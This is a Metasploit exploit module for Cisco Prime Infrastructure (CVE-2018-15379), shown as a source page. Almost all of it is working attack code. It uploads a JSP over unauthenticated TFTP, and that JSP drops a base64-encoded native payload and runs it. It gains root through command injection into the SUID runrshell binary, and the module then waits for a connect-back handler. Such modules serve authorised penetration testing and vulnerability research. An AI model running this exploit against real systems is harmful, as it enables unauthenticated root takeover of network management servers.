CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/cisco_prime_inf_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',
16
'Description' => %q{
17
Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow
18
an unauthenticated attacker to achieve remote code execution. The first flaw is a file
19
upload vulnerability that allows the attacker to upload and execute files as the Apache
20
Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions
21
in a SUID binary.
22
23
This module exploits these vulnerabilities to achieve unauthenticated remote code execution
24
as root on the CPI default installation.
25
26
This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
27
might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
28
The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.
29
},
30
'Author' =>
31
[
32
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
33
],
34
'License' => MSF_LICENSE,
35
'References' =>
36
[
37
[ 'CVE', '2018-15379' ],
38
[ 'URL', 'https://seclists.org/fulldisclosure/2018/Oct/19'],
39
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-prime-infrastructure.txt' ],
40
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3723' ],
41
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp' ]
42
],
43
'Platform' => 'linux',
44
'Arch' => [ARCH_X86, ARCH_X64],
45
'Targets' =>
46
[
47
[ 'Cisco Prime Infrastructure < 3.4.1 & 3.3.1 Update 02', {} ]
48
],
49
'Privileged' => true,
50
'DefaultOptions' => { 'WfsDelay' => 10 },
51
'DefaultTarget' => 0,
52
'DisclosureDate' => '2018-10-04'
53
))
54
55
register_options(
56
[
57
OptPort.new('RPORT', [true, 'The target port', 443]),
58
OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),
59
OptBool.new('SSL', [true, 'Use SSL connection', true]),
60
OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp'])
61
])
62
end
63
64
65
def check
66
res = send_request_cgi({
67
'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
68
'method' => 'GET'
69
})
70
71
unless res
72
vprint_error 'Connection failed'
73
return CheckCode::Unknown
74
end
75
76
if res.code == 404 && res.body.length == 0
77
# at the moment this is the best way to detect
78
# a 404 in swimtemp only returns the error code with a body length of 0,
79
# while a 404 to another webapp or to the root returns code plus a body with content
80
return CheckCode::Detected
81
end
82
83
CheckCode::Safe
84
end
85
86
87
def upload_payload(payload)
88
lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))
89
lhost = datastore['LHOST'] || "0.0.0.0"
90
remote_file = rand_text_alpha(5..16) + '.jsp'
91
92
tftp_client = Rex::Proto::TFTP::Client.new(
93
"LocalHost" => lhost,
94
"LocalPort" => lport,
95
"PeerHost" => rhost,
96
"PeerPort" => datastore['RPORT_TFTP'],
97
"LocalFile" => "DATA:#{payload}",
98
"RemoteFile" => remote_file,
99
"Mode" => 'octet',
100
"Context" => {'Msf' => self.framework, 'MsfExploit' => self},
101
"Action" => :upload
102
)
103
print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"
104
tftp_client.send_write_request
105
106
remote_file
107
end
108
109
def generate_jsp_payload
110
exe = generate_payload_exe
111
base64_exe = Rex::Text.encode_base64(exe)
112
113
native_payload_name = rand_text_alpha(3..9)
114
115
var_raw = rand_text_alpha(3..11)
116
var_ostream = rand_text_alpha(3..11)
117
var_pstream = rand_text_alpha(3..11)
118
var_buf = rand_text_alpha(3..11)
119
var_decoder = rand_text_alpha(3..11)
120
var_tmp = rand_text_alpha(3..11)
121
var_path = rand_text_alpha(3..11)
122
var_tmp2 = rand_text_alpha(3..11)
123
var_path2 = rand_text_alpha(3..11)
124
var_proc2 = rand_text_alpha(3..11)
125
126
var_proc1 = rand_text_alpha(3..11)
127
chmod = %Q|
128
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});
129
Thread.sleep(200);
130
|
131
132
var_proc3 = Rex::Text.rand_text_alpha(3..11)
133
cleanup = %Q|
134
Thread.sleep(200);
135
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});
136
|
137
138
jsp = %Q|
139
<%@page import="java.io.*"%>
140
<%@page import="sun.misc.BASE64Decoder"%>
141
<%
142
try {
143
String #{var_buf} = "#{base64_exe}";
144
BASE64Decoder #{var_decoder} = new BASE64Decoder();
145
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
146
147
File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");
148
String #{var_path} = #{var_tmp}.getAbsolutePath();
149
150
BufferedOutputStream #{var_ostream} =
151
new BufferedOutputStream(new FileOutputStream(#{var_path}));
152
#{var_ostream}.write(#{var_raw});
153
#{var_ostream}.close();
154
155
File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");
156
String #{var_path2} = #{var_tmp2}.getAbsolutePath();
157
158
PrintWriter #{var_pstream} =
159
new PrintWriter(new FileOutputStream(#{var_path2}));
160
#{var_pstream}.println("!#/bin/sh");
161
#{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");
162
#{var_pstream}.close();
163
#{chmod}
164
165
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});
166
#{cleanup}
167
} catch (Exception e) {
168
}
169
%>
170
|
171
172
jsp = jsp.gsub(/\n/, '')
173
jsp = jsp.gsub(/\t/, '')
174
jsp = jsp.gsub(/\x0d\x0a/, "")
175
jsp = jsp.gsub(/\x0a/, "")
176
177
return jsp
178
end
179
180
181
def exploit
182
jsp_payload = generate_jsp_payload
183
184
jsp_name = upload_payload(jsp_payload)
185
186
# we land in /opt/CSCOlumos, so we don't know the apache directory
187
# as it changes between versions... so leave this commented for now
188
# ... and try to find a good way to clean it later
189
print_warning "#{jsp_name} must be manually removed from the Apache in /opt/CSCOlumos"
190
# register_files_for_cleanup(jsp_name)
191
192
print_status("#{peer} - Executing payload...")
193
send_request_cgi({
194
'uri' => normalize_uri(datastore['TARGETURI'], jsp_name),
195
'method' => 'GET'
196
})
197
198
handler
199
end
200
end
201
202